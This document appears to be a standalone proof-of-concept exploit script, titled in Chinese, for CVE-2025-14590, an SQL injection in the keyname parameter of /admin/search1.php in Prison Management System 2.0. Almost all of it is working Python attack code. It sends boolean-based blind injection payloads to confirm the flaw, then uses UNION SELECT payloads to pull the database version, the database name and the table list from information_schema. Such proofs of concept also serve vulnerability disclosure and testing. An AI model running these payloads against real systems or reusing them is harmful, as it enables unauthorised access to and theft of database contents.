CVE-2025-14590 Prison Management System SQL注入漏洞

# CVE-2025-14590 SQL Injection PoC # Target: Prison Management System 2.0 # File: /admin/search1.php # Parameter: keyname import requests import sys def test_sql_injection(url): """Test for SQL injection vulnerability in search1.php""" # Test payload - Boolean based blind injection true_payload = "' OR '1'='1" false_payload = "' AND '1'='2" # Normal request normal_params = {'keyname': 'test'} # Vulnerable payload - OR condition always true vulnerable_params = {'keyname': true_payload} # Payload that should return different result blind_params = {'keyname': false_payload} try: print(f"[*] Testing target: {url}") print(f"[*] Sending normal request...") normal_resp = requests.get(url, params=normal_params, timeout=10) print(f"[*] Sending SQL injection payload: {true_payload}") vuln_resp = requests.get(url, params=vulnerable_params, timeout=10) print(f"[*] Sending blind test payload: {false_payload}") blind_resp = requests.get(url, params=blind_params, timeout=10) # Check if injection works by comparing response differences if len(vuln_resp.text) != len(blind_resp.text): print("[+] VULNERABLE: SQL injection detected!") print(f"[+] True condition response length: {len(vuln_resp.text)}") print(f"[+] False condition response length: {len(blind_resp.text)}") return True else: print("[-] Not vulnerable or target not responding") return False except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") return False def extract_data(url): """Extract database information using UNION-based injection""" # Database version extraction payload version_payload = "' UNION SELECT NULL,version(),NULL,NULL,NULL---" # Database name extraction payload dbname_payload = "' UNION SELECT NULL,database(),NULL,NULL,NULL---" # Tables extraction payload tables_payload = "' UNION SELECT NULL,group_concat(table_name),NULL,NULL,NULL FROM information_schema.tables WHERE table_schema=database()---" payloads = { 'version': version_payload, 'database': dbname_payload, 'tables': tables_payload } for info_type, payload in payloads.items(): try: params = {'keyname': payload} response = requests.get(url, params=params, timeout=10) print(f"\n[*] Extracting {info_type}...") print(f"[Response snippet]: {response.text[:500]}") except Exception as e: print(f"[!] Error extracting {info_type}: {e}") if __name__ == "__main__": if len(sys.argv) > 1: target_url = sys.argv[1] else: target_url = "http://target-site.com/admin/search1.php" if test_sql_injection(target_url): print("\n[*] Attempting data extraction...") extract_data(target_url)